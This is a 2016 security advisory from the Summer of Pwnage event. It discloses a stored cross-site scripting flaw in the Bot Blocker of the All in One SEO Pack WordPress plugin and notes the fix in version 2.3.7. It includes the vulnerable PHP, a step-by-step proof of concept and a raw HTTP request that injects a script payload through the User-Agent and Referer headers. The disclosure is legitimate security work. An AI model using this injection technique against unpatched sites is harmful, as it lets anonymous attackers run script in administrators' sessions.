David Vaartjes, July 2016

Persistent Cross-Site Scripting in All in One SEO Pack WordPress Plugin


/advisory/SFY20160725/SEO.png

Abstract

A stored Cross-Site Scripting vulnerability was found in the Bot Blocker functionality of the All in One SEO Pack WordPress Plugin (1+ million active installs). This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160712-0027

Tested versions

This issue was successfully tested on the All in One SEO Pack WordPress Plugin version 2.3.6.1.

Fix

This issue has been fixed in version 2.3.7 of the plugin.

Free version here
Pro version here

Introduction

All in One SEO Pack is reportedly the most downloaded plugin for WordPress. It allows users to automatically optimize their site for Search Engines. A stored Cross-Site Scripting vulnerability exists in the Bot Blocker functionality.

Details

A stored Cross-Site Scripting vulnerability exists in the Bot Blocker functionality of the All in One SEO Pack WordPress Plugin (1+ million active installs). Particularly interesting about this issue is that an anonymous user can simply store his XSS payload in the Admin dashboard by just visiting the public site with a malformed User Agent or Referrer header.

The SEO Pack Bot Blocker functionality can be used to prevent certain bots from accessing/crawling the website. Bots can be detected based on User Agent and Referrer header patterns. When the User Agent contains one of the pre-configured list of bot names like "Abonti", "Bullseye" or "Exabot" the request is blocked and a 404 is returned.

If the "Track Blocked Bots" setting is enabled (not by default), blocked request are logged in that HTML page without proper sanitization or output encoding, allowing XSS.

The affected resource: /all-in-one-seo-pack/modules/aioseop_bad_robots.php

if ( $this->option_isset( 'block_bots' ) ) {
   if ( !$this->allow_bot() ) {
      status_header( 503 );
      $ip = $_SERVER['REMOTE_ADDR'];
->      $user_agent = $_SERVER['HTTP_USER_AGENT'];
->      $this->blocked_message( sprintf( __( "Blocked bot with IP %s -- matched user agent %s found in blocklist.",
->      'all-in-one-seo-pack' ), $ip, $user_agent ) );
      exit();
   } elseif ( $this->option_isset( 'block_refer' ) && $this->is_bad_referer() ) {
      status_header( 503 );
      $ip = $_SERVER['REMOTE_ADDR'];
->      $referer = $_SERVER['HTTP_REFERER'];
->      $this->blocked_message( sprintf( __( "Blocked bot with IP %s -- matched referer %s found in blocklist.",
->      'all-in-one-seo-pack' ), $ip, $referer ) );
   }
}


The resulting HTML code:

<span class="aioseop_option_input"><div class="aioseop_option_div" ><pre>2016-07-05 18:59:37 Blocked bot with IP 172.16.232.1 -- matched user agent Abonti </pre><script>alert(1);</script>found in blocklist.

Proof of concept

1/ Go to the "Bad Bot Blocker" settings page in All in one SEO menu.
2/ Enable "Block Bad Bots using HTTP" and/or "Block Referral Spam using HTTP".
3/ Send exploit request (with payload in referer or user-agent) to the server. Anywhere.
Make sure to send your exploit request as an anonymous user. When you are logged in (have cookies), you are never seen as a bot.
4/ If all set up ok, your request will be blocked (HTTP/1.1 503 Service Unavailable)
5/ Open the "Bad Bot Blocker" settings page as WP admin.
6/ Your payload will run, since it is logged in a <pre> tag.

Potential use "Track Blocked Bots" setting to show/hide the <pre> block. Not needed for payload to run. Payload can be set in User-Agent or Referer field

REQUEST:

GET / HTTP/1.1
Host: 172.16.232.130
User-Agent: Abonti </pre><script>alert(1);</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.232.130/</pre><script>alert(1);</script>
Connection: close
Cache-Control: max-age=0

RESPONSE:

HTTP/1.1 503 Service Unavailable
Date: Tue, 05 Jul 2016 19:31:19 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

/advisory/SFY20160725/SEOXSS.png
Figure 1: code runs when Bot Blocker page is viewed in Admin panel.